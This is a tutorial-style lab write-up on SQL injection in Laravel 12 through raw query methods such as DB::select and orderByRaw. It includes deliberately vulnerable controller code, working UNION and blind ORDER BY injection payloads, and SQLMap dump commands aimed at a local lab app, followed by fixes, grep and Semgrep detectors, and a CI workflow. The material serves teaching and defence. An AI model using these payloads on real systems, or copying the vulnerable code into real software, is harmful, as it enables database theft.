The ORM Didn't Save You: SQL Injection Through Raw Query Builder Methods in Laravel 12
The ORM Didn't Save You:
SQL Injection Through Raw Query Builder Methods in Laravel 12
DB::raw(),
DB::select(), whereRaw(), orderByRaw(),
or concatenate variables into an SQL string "just this once" to ship the
feature before the Friday deadline. One raw query. One unbound
variable. One overlooked code review comment that said "TODO: switch to
query builder after sprint." And your entire database, usernames,
bcrypt hashes, session tokens, personal data, is one HTTP request
away from exfiltration.
Eloquent is safe. The raw query builder methods are not. A developer who
writes DB::select("SELECT * FROM posts WHERE title LIKE '%{$q}%'")
has just opened a direct SQL injection vector, no matter what ORM code
exists elsewhere in the application. The attacker needs one
unauthenticated endpoint with concatenated input. Everything
after that, dumping the users table, reading private
posts, extracting session data from the sessions table,
is automated by SQLMap in under two minutes. The fix is trivial:
DB::table('posts')->where('title', 'like', "%{$q}%").
But that assumes the developer knew there was raw SQL in the
codebase. In a mature Laravel 12 project with 80 controllers and three
years of accumulated sprint debt, they probably don't.
Post::where('title', 'like', "%{$q}%")->get() is safe.
$query->where('status', 'published') is safe. Everything that
passes through the query builder's where(), orderBy(),
and join() methods gets bound as PDO parameters. Laravel
did the work.
Here's the catch: The query builder also exposes escape hatches.
DB::select($rawSQL),
DB::raw($expression), whereRaw($condition),
orderByRaw($clause), and havingRaw($clause) accept
raw strings that bypass parameter binding entirely. If a single variable is
concatenated into any of these without explicit PDO binding, you have
SQL injection. In a Laravel 12 app. Running PHP 8.3. With Eloquent. In 2026.
The framework didn't fail. The escape hatch was used wrong.
Notes for this lab
Update the repo for this lab if you haven't already:
# fetch latest changes
git fetch origin
# update code base
git pull
Where This Fits in the Kill Chain
SQL injection is the data exfiltration engine of the
ArtisanBreach attack surface. It doesn't need a login. It doesn't need an
admin panel. It needs a single public-facing endpoint where the developer
wrote raw SQL to save a few minutes. Once the attacker dumps the
users table, they have every email and bcrypt hash in the
database, an alternate path to credentials that
doesn't require the .env file at all. From there: password
cracking, account takeover, lateral movement to admin panels, and the full
kill chain unfolds.
Vulnerability Classification
| CWE-89 | Improper Neutralization of Special Elements used in an SQL Command. The application concatenates user-controlled input directly into a SQL query string without parameterisation or escaping. |
|---|---|
| CWE-943 | Improper Neutralization of Special Elements in Data Query Logic. The sort and order parameters are interpolated into the ORDER BY clause without whitelist validation. |
| OWASP | A03:2021, Injection. SQL injection has been the #1 vulnerability on the OWASP Top 10 for over a decade, and it remains in the top three in 2021 despite ORMs and query builders being ubiquitous. |
| Historical precedent | SQL injection is not a legacy problem. CVE-2024-4577 (PHP CGI argument injection) and the MOVEit Transfer SQLi (CVE-2023-34362) which led to the Cl0p ransomware campaign both hit in 2023-2024. The mechanism is unchanged since 1998: untrusted input reaches a SQL parser. |
| Who's at risk |
Any Laravel application that uses DB::select(),
DB::raw(), whereRaw(), orderByRaw(),
havingRaw(), or any Eloquent method that accepts a raw
expression with concatenated user input. This is language-agnostic.
It affects Laravel, Symfony, Django, Rails, Express, and every other
framework that provides raw query escape hatches.
|
| Exploit complexity | Low. SQLMap automates the entire process. Manual exploitation requires understanding of UNION injection or error-based extraction, both of which are fully documented and unchanged since the early 2000s. |
How Eloquent Protects You, And How You Walk Around It
Laravel's query builder is built on PDO parameter binding. Every value passed
into a where(), orWhere(), or orderBy()
clause is automatically treated as a data value, not as SQL
syntax. This means single quotes, semicolons, and UNION SELECT
keywords are data, they're stored and compared, never
executed.
✓ SAFE: Query builder with parameter binding
The $q variable is bound as a PDO parameter. The SQL parser
sees ? and substitutes the value after parsing.
This is the correct way.
// SAFE: parameter binding
$posts = DB::table('posts')
->where('status', 'published')
->where('title', 'like', "%{$q}%")
->orderBy($allowedSort, $allowedOrder)
->limit(10)
->get();
// PDO prepares:
// SELECT * FROM posts WHERE status = ?
// AND title LIKE ? ORDER BY created_at DESC
// The attacker's payload is DATA, not syntax.
⚠ VULNERABLE: Raw SQL string concatenation
$q is concatenated into the SQL string before the
database ever sees it. The attacker's payload becomes part of the SQL
syntax. No going back.
// VULNERABLE: string interpolation
$query = "SELECT * FROM posts "
. "WHERE status = 'published' "
. "AND title LIKE '%{$q}%' "
. "ORDER BY {$sort} {$order} "
. "LIMIT 10";
$posts = DB::select($query);
// SQL sent to database:
// SELECT * FROM posts WHERE status =
// 'published' AND title LIKE '%' UNION
// SELECT email,password FROM users-- %'
// The attacker just rewrote the query.
The fundamental difference isn't the database engine. It's not the PHP version.
It's not the framework. It's whether a string comes from the user and
reaches the SQL parser as syntax instead of as bound data. The moment
you concatenate $request->q into a string and pass that string
to DB::select(), you have undone every protection Eloquent
provides. The ORM didn't fail. You stopped using it.
The Six Escape Hatches Laravel Gives You
Every one of these methods accepts a raw string. Every one of them trusts that you handled the escaping, because the framework can't do it for you once you're past the query builder boundary:
| Method | Vulnerable usage | Safe equivalent |
|---|---|---|
| DB::select() | DB::select("SELECT * FROM posts WHERE title = '{$q}'") |
DB::select("SELECT * FROM posts WHERE title = ?", [$q]) |
| DB::raw() | ->where(DB::raw("title LIKE '%{$q}%'")) |
->where('title', 'like', "%{$q}%") |
| whereRaw() | ->whereRaw("title LIKE '%{$q}%'") |
->whereRaw("title LIKE ?", ["%{$q}%"]) |
| orderByRaw() | ->orderByRaw("{$col} {$dir}") |
Whitelist: in_array($col, ['id','title','created_at']) |
| havingRaw() | ->havingRaw("COUNT(*) > {$threshold}") |
->having('post_count', '>', (int) $threshold) |
| DB::statement() | DB::statement("UPDATE posts SET status = '{$new}' WHERE id = {$id}") |
DB::table('posts')->where('id', $id)->update(['status' => $new]) |
WHERE clauses, ORDER BY columns and
directions cannot be parameterised. PDO only binds data
values, not identifiers or keywords. If you need dynamic sorting, you
must whitelist the allowed column names. orderBy($request->sort)
is safe because Laravel wraps it in backticks, but orderByRaw("{$request->sort} {$request->order}")
is not. This isn't a Laravel limitation. It's a SQL limitation.
Every framework has this problem. The fix is always the same:
validate against a known-good list before the value reaches the query.
Three Ways This Ends Up in Your Laravel 12 App
Nobody sets out to write a SQL injection. It happens because raw queries feel faster, more familiar, or necessary to meet a deadline. The query builder is "too slow to learn right now." The Eloquent relationship is "overkill for a simple search." The ticket says DONE by Friday. So the developer opens the escape hatch, writes the SQL they already know, and ships it.
Scenario 1"This JSON endpoint ships tomorrow, I'll refactor next sprint"
A new AJAX autocomplete widget on the public blog needs a fast JSON endpoint.
The developer prototypes it with DB::select() because they
already had the SQL from Sequel Pro. It works. It passes QA. The ticket
closes. Three months later, an intern makes the sort parameter
dynamic "for the admin table component" and adds {$request->sort}
directly into the ORDER BY clause. The original author left the
company. The refactor ticket sits in the "tech debt" column with 47 other
items. The endpoint handles 4,000 requests per day from unauthenticated
visitors.
// Written Friday at 4:47 PM. The refactor ticket (#1498) is still open.
$query = "SELECT id, title, slug, created_at FROM posts "
. "WHERE status = 'published' AND title LIKE '%{$q}%' "
. "ORDER BY {$sort} {$order} LIMIT 10";
return response()->json(['posts' => DB::select($query)]);
Scenario 2
The Stack Overflow Answer with 900 Upvotes
A developer needs a complex reporting query with three joins, a subquery,
and a pivot. Eloquent can express it, but it takes 15 lines and two
whereHas() clauses. They Google "laravel complex query," find a
2019 Stack Overflow answer with DB::select("SELECT ... FROM ... WHERE
name = '{$request->search}'"), copy-paste it, and move on. The answer
has 900 upvotes and no mention of SQL injection because the question was
about query structure, not security. The developer never learned that
DB::select() is a raw method because nobody told them
it wasn't the query builder. It says DB::. It's in
the same namespace. How would they know?
// Stack Overflow, 2019. 900 upvotes. 0 security warnings.
$report = DB::select("
SELECT u.name, COUNT(p.id) as post_count
FROM users u
JOIN posts p ON p.user_id = u.id
WHERE u.name LIKE '%{$request->search}%'
GROUP BY u.id
ORDER BY post_count DESC
");
Scenario 3
The ORDER BY trap: dynamic sorting from the frontend
DataTables, Tabulator, AG Grid, every JavaScript table library sends column
names and sort directions as query parameters. The backend maps them to SQL
ORDER BY clauses. If the developer uses
orderByRaw("{$request->sort} {$request->order}") without a
whitelist, the attacker controls not just ?-bound values but
the column names themselves. Column names can't be bound.
This isn't a framework bug. It's a SQL design constraint that every backend
developer eventually trips over.
// Frontend DataTable sends: ?sort=id&order=ASC
// Attacker sends: ?sort=(CASE WHEN ...)&order=
//
// ORDER BY can't be parameterised. You MUST whitelist.
$results = Post::orderByRaw("{$request->sort} {$request->order}")->get();
// Safe version:
$allowed = ['id', 'title', 'created_at', 'status'];
$sort = in_array($request->sort, $allowed) ? $request->sort : 'created_at';
$order = $request->order === 'ASC' ? 'ASC' : 'DESC';
$results = Post::orderBy($sort, $order)->get();
$fillable. Policies
were in place. The security team had done the work. The vulnerability was on
/api/posts/search?q=, a public JSON endpoint for the blog
search widget, written by a frontend developer who didn't know
DB::select() was raw SQL. SQLMap dumped 12,000 user
records in 90 seconds. No authentication required. No rate limiting. No
WAF. The developer had used the query builder correctly on 19 other
endpoints. The twentieth had the escape hatch open.
The Vulnerable Code in ArtisanBreach
This is the actual endpoint running right now. Unauthenticated. Public-facing. Written during a sprint to ship the AJAX blog search widget (ticket #1337):
1. The route (no auth, no middleware)
// routes/api.php
Route::get('/posts/search', \App\Http\Controllers\Api\PostSearchController::class);
// Notice: no middleware. No 'auth:sanctum'. No rate limiting.
// This endpoint answers to anyone with the URL.
2. The controller (verified, live in the repo)
// app/Http/Controllers/Api/PostSearchController.php
// This is the ACTUAL code. Not a recreation.
public function __invoke(Request $request): \Illuminate\Http\JsonResponse
{
$q = $request->query('q', '');
$sort = $request->query('sort', 'created_at');
$order = strtoupper($request->query('order', 'DESC'));
// Three unbounded variables concatenated into raw SQL.
// $q → WHERE clause → string interpolation, no escaping
// $sort → ORDER BY column → unvalidated column name
// $order → ORDER BY direction → unvalidated keyword
$query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
. "FROM posts "
. "WHERE status = 'published' "
. "AND title LIKE '%{$q}%' "
. "ORDER BY {$sort} {$order} "
. "LIMIT 10";
$results = DB::select($query);
return response()->json([
'query' => $q,
'count' => count($results),
'posts' => $results,
]);
}
3. Prove it in tinker (run this yourself)
// php artisan tinker
$q = "doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- ";
$query = "SELECT id, title, slug, meta_description, post_content, status, created_at "
. "FROM posts "
. "WHERE status = 'published' "
. "AND title LIKE '%{$q}%' "
. "ORDER BY created_at DESC "
. "LIMIT 10";
echo $query;
// SELECT id, title, slug, meta_description, post_content, status, created_at
// FROM posts
// WHERE status = 'published'
// AND title LIKE '%doesntexist' UNION SELECT 1,2,email,4,password,6,7 FROM users-- %'
// ORDER BY created_at DESC
// ^^^^^^^^^^^ UNION injection appends a second SELECT
// LIMIT 10
//
// The -- comments out everything after it. The attacker's query runs.
// The original WHERE and ORDER BY clauses are dead.
The Attack: Database Exfiltration in Three Requests
Click image to expand diagram
Exploit: Manual UNION injection
# Step 1: Determine the number of columns (the original SELECT has 7)
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,2,3,4,5,6,7--+-"
# ← Works (7 columns confirmed). If it returned an error, try 6, then 8.
# Step 2: Find which columns appear in the JSON output
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+%27col1%27,%27col2%27,%27col3%27,%27col4%27,%27col5%27,%27col6%27,%27col7%27--+-" | python3 -m json.tool
# Look for 'col1', 'col2', etc. in the JSON response to identify
# which column positions render back. These are your extraction slots.
# Step 3: Dump the users table
curl -s "http://localhost:8084/api/posts/search?q=%27+UNION+SELECT+1,email,%27---%27,4,password,6,7+FROM+users--+-" | python3 -m json.tool
# Returns:
# {
# "query": "' UNION SELECT 1,email,'---',4,password,6,7 FROM users-- -",
# "count": 8,
# "posts": [
# { "title": "admin@artisanbreach.com",
# "slug": "---",
# "post_content": "$2y$12$...bcrypt hash..." },
# ...
# ]
# }
Exploit: SQLMap (automated, every table in 90 seconds)
# Basic enumeration
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --batch
# Dump all tables
sqlmap -u "http://localhost:8084/api/posts/search?q=test" --dump-all --batch
# Target the users table specifically
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
-T users --dump --batch
# Output:
# +----+-----------------------------+----------+----------------------------------+
# | id | email | name | password |
# +----+-----------------------------+----------+----------------------------------+
# | 1 | admin@artisanbreach.com | Admin | $2y$12$...bcrypt... |
# | 2 | contributor@artisanbreach.com| Sarah | $2y$12$...bcrypt... |
# ... every user account in the database, extracted in under two minutes
The ORDER BY vector (column name, cannot be parameterised)
# The sort parameter goes directly into the ORDER BY clause.
# Column names cannot be bound in SQL. No escaping possible.
# Validating with a whitelist is the ONLY defence.
# Blind extraction via ORDER BY CASE WHEN
curl -s "http://localhost:8084/api/posts/search?q=test&sort=(CASE+WHEN+(SELECT+SUBSTRING(password,1,1)+FROM+users+WHERE+id=1)=%27%24%27+THEN+id+ELSE+title+END)--+-" | python3 -m json.tool
# If the first character of the admin's bcrypt hash is '$', sort by id.
# Otherwise sort by title. Compare result order to infer characters.
# This is slow but works when the error messages are suppressed.
What You Just Lost
q (WHERE), sort (ORDER BY column), order (ORDER BY direction).users, sessions, posts, contacts, everything.- Every email address in the
userstable - Every bcrypt hash (offline cracking via hashcat)
- Session tokens from the
sessionstable (session hijacking) - All draft and private post content
- Contact form submissions (names, emails, phone numbers, messages)
- Database schema structure via
information_schema - No rate limiting on this endpoint, unlimited extraction speed
- The endpoint is unauthenticated. No login. No API key. No session cookie.
- The
sortparameter has the ORDER BY injection problem, cannot be fixed with parameter binding alone APP_DEBUG=truemeans syntax errors return the raw SQL query and full stack trace, making exploitation trivial- SQLMap automates everything. An attacker doesn't need to understand UNION injection.
- The database user has full read access to all tables. Principle of least privilege was not applied.
The Fix
Fix 1: Port to the Eloquent query builder
// The query builder handles parameter binding automatically.
// No raw strings. No escape hatches. No vulnerability.
public function __invoke(Request $request): JsonResponse
{
$q = $request->query('q', '');
// Whitelist: ORDER BY column. Non-negotiable. Column names cannot be bound.
$allowedSorts = ['id', 'title', 'created_at', 'status'];
$sort = in_array($request->query('sort'), $allowedSorts)
? $request->query('sort')
: 'created_at';
// Guard: ORDER BY direction. Must be ASC or DESC, nothing else.
$order = strtoupper($request->query('order', 'DESC'));
$order = in_array($order, ['ASC', 'DESC']) ? $order : 'DESC';
$posts = DB::table('posts')
->select('id', 'title', 'slug', 'meta_description', 'post_content', 'status', 'created_at')
->where('status', 'published')
->where('title', 'like', "%{$q}%") // ← bound as PDO parameter
->orderBy($sort, $order) // ← whitelist + backtick-quoted
->limit(10)
->get();
return response()->json([
'query' => $q,
'count' => $posts->count(),
'posts' => $posts,
]);
}
If you must keep raw SQL
Fix 2: Named parameter binding in DB::select()
// DB::select() accepts a second argument: an array of bound parameters.
// This is safe because PDO handles the escaping at the protocol level.
$posts = DB::select(
"SELECT id, title, slug, meta_description, post_content, status, created_at
FROM posts
WHERE status = :status
AND title LIKE :search
ORDER BY created_at DESC
LIMIT 10",
[
'status' => 'published',
'search' => "%{$q}%", // ← bound, never parsed as SQL
]
);
// Note: ORDER BY column still cannot be bound. Keep the whitelist.
Soft guard
Fix 3: Database user with least privilege
-- The application database user should only have the permissions it needs.
-- A public search endpoint should never have SELECT on the users table.
CREATE USER 'app_search'@'%' IDENTIFIED BY '...';
GRANT SELECT ON dvla.posts TO 'app_search'@'%';
-- No access to users, sessions, contacts, or any other table.
-- If SQL injection occurs, the blast radius is limited to published posts.
Finding It Before Someone Else Does
1. Grep for raw SQL methods with concatenation operators
# Find every DB::select(), DB::raw(), whereRaw(), orderByRaw(), havingRaw()
# that uses string concatenation or interpolation
grep -rn 'DB::select\|DB::raw\|whereRaw\|orderByRaw\|havingRaw' app/ \
| grep -E '\.\s*\$\w+|\.=\s*\$\w+|\{\$'
# Every match is a candidate. Check whether the variables are
# request input or validated/whitelisted before use.
2. SQLMap automated testing (CI pipeline)
# Run SQLMap against the API endpoint in CI.
# This catches injection vectors before they reach production.
sqlmap -u "http://localhost:8084/api/posts/search?q=test" \
--batch --level=3 --risk=2 \
--smart \
--flush-session
3. Semgrep custom rule for the most common pattern
rules:
- id: laravel-raw-sql-concatenation
patterns:
- pattern-either:
- pattern: DB::select("..." . $X)
- pattern: DB::raw("..." . $X)
- pattern: $QUERY->whereRaw("..." . $X)
- pattern: $QUERY->orderByRaw("..." . $X)
message: |
Raw SQL with string concatenation detected.
Use parameter binding or the Eloquent query builder instead.
severity: ERROR
languages: [php]
Lock It Out of CI/CD
.github/workflows/ directory to catch SQL injection in CI before it reaches production.
# .github/workflows/sql-injection.yml
name: SQL Injection Scan
on: [pull_request]
jobs:
sqlmap:
runs-on: ubuntu-latest
services:
app:
image: dvla-test
ports:
- 8084:80
steps:
- uses: actions/checkout@v4
- name: Run SQLMap against all API endpoints
run: |
# Extract all GET routes from route:list, test each one
php artisan route:list --json | \
jq -r '.[] | select(.method == "GET|HEAD" and .uri | startswith("api/")) | .uri' | \
while read route; do
sqlmap -u "http://localhost:8084/$route?q=test" \
--batch --level=2 --risk=1 --smart || exit 1
done
Remediation Checklist
DB::select($rawQuery) with DB::table()->where() or use the second-argument parameter binding array. Zero string concatenation in SQL.
ORDER BY column that comes from a request parameter. in_array() check or enum. No exceptions. Column names cannot be bound.
ORDER BY direction to ASC or DESC only. Ternary expression. Nothing else passes.
get("/api/posts/search?q='+UNION+SELECT+1--+-")->assertStatus(200)->assertJsonMissing(['1']);. If a UNION payload produces unexpected data in the response, the endpoint is vulnerable.
APP_DEBUG in production. Stack traces with raw SQL queries turn SQL injection from hard to trivial. The application config already defaults to false, verify the environment file.
DB::select, DB::raw, whereRaw, orderByRaw with string concatenation.
SELECT on tables it doesn't need. A public search endpoint needs posts, not users and sessions.
throttle:60,1 stops SQLMap's automated extraction from running at full speed.
The Bottom Line
Eloquent does what it's supposed to do. Parameter binding works. The problem
is that Laravel also gives you six ways to skip it:
DB::select, DB::raw, whereRaw,
orderByRaw, havingRaw, DB::statement,
and every one of them trusts you to handle the escaping yourself. They're not
bugs. They exist for good reasons: reporting queries, vendor-specific SQL, raw
performance when the query builder chokes. But if you pass user input
into any of them without binding, you've got SQL injection. Period.
None of this is complicated. It's one rule:
If user input reaches a SQL string through concatenation instead of parameter binding, you have SQL injection. It doesn't matter what ORM you're using. It doesn't matter what framework version. It doesn't matter that the other 19 endpoints use Eloquent correctly. One concatenated variable in one endpoint is enough. Use parameter binding for every value. Whitelist every column name. There is no third option.
The developer who shipped this endpoint wasn't an idiot. They were under a
deadline, they already had the SQL written out from their database client, and
DB::select() was right there in the same DB namespace
as the query builder they'd been using all week. Nobody told them it was raw.
And once it shipped and the widget worked, nobody went back to check.
That's how most of these get in. Not malice. Not negligence.
Just a Friday afternoon, a working prototype, and a ticket that moved to Done
a little too fast.